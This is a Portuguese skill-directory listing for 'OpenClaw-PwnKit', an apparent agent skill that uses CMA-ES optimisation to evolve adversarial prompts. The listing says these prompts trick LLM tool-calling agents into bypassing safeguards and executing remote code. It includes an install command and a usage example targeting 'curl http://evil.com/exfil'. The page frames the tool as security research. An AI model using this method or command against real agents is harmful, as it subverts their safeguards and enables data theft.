CommunityPesquisa e Análise de Dadosgithub.com

Consequential-stateswoman97/OpenClaw-PwnKit

Demonstra ataques adversariais em caixa preta sobre chamadas de ferramentas de LLM para contornar a segurança e executar código remoto usando otimização CMA-ES.

O que é OpenClaw-PwnKit?

Esta skill implementa um ataque adversarial em caixa preta contra chamadas de ferramentas de grandes modelos de linguagem (LLMs). Utilizando otimização CMA-ES (Covariance Matrix Adaptation Evolution Strategy), o sistema gera automaticamente entradas maliciosas que enganam o LLM a executar código remoto não autorizado, contornando as salvaguardas de segurança. É útil para pesquisadores de segurança e desenvolvedores que desejam testar a robustez de modelos de linguagem em cenários onde ferramentas externas podem ser invocadas. A skill suporta plataformas como Claude Code, Cursor e Codex, e opera sem acesso aos parâmetros internos do modelo, apenas observando suas saídas (caixa preta). O processo envolve iterações evolutivas que refinam prompts adversariais, tornando o ataque eficaz mesmo contra modelos com proteções básicas.

Funciona com~Claude Code~Codex CLI~Cursor
npx skills add Consequential-stateswoman97/OpenClaw-PwnKit

Installed? Explore more Pesquisa e Análise de Dados skills: affaan-m/uspto-database, affaan-m/scholar-evaluation, affaan-m/literature-review · View all 6 →

Perguntar na sua IA favorita

Abre um novo chat com esta habilidade de agente já pré-carregada.

Documentação

O que OpenClaw-PwnKit faz?

Demonstra ataques adversariais em caixa preta sobre chamadas de ferramentas de LLM para contornar a segurança e executar código remoto usando otimização CMA-ES.

Visão Geral

Esta skill explora vulnerabilidades em sistemas de LLM que integram chamadas de ferramentas externas. Através de um algoritmo evolutivo (CMA-ES), ela gera automaticamente prompts adversariais que levam o modelo a executar comandos remotos não autorizados, como curl para exfiltração de dados ou execução de scripts arbitrários.

Como Funciona

  1. Definição do alvo: A skill define um LLM com acesso a ferramentas (ex.: execução de código Python, acesso a sistema de arquivos).
  2. Geração de sementes: Um conjunto inicial de prompts adversariais é criado com variações sutis.
  3. Otimização CMA-ES: O algoritmo CMA-ES itera sobre os prompts, ajustando-os para maximizar a probabilidade de o LLM executar uma ação maliciosa (ex.: subprocess.run).
  4. Execução do ataque: O prompt otimizado é enviado ao LLM, que, se enganado, executa o código remoto.

Plataformas Suportadas

  • Claude Code
  • Cursor
  • Codex
  • Outros LLMs com capacidades de chamada de ferramentas

Requisitos

  • Python 3.8+
  • Biblioteca cma (pip install cma)
  • Acesso a um LLM com API de chamada de ferramentas (ex.: OpenAI API, Anthropic API)

Exemplo de Uso

from openclaw_pwnkit import PwnKit

# Configurar o ataque
atk = PwnKit(model="gpt-4", tool_set=["python", "bash"])

# Executar otimização
optimal_prompt = atk.optimize(target_action="curl http://evil.com/exfil")

# Enviar ao LLM
response = atk.send(optimal_prompt)
print("Ataque bem-sucedido:", response)

Aviso Legal

Esta skill é destinada apenas para fins educacionais e de pesquisa em segurança. O uso não autorizado contra sistemas em produção é ilegal e antiético. Os autores não se responsabilizam por quaisquer danos ou violações legais decorrentes do uso indevido.

Referências

Habilidades Relacionadas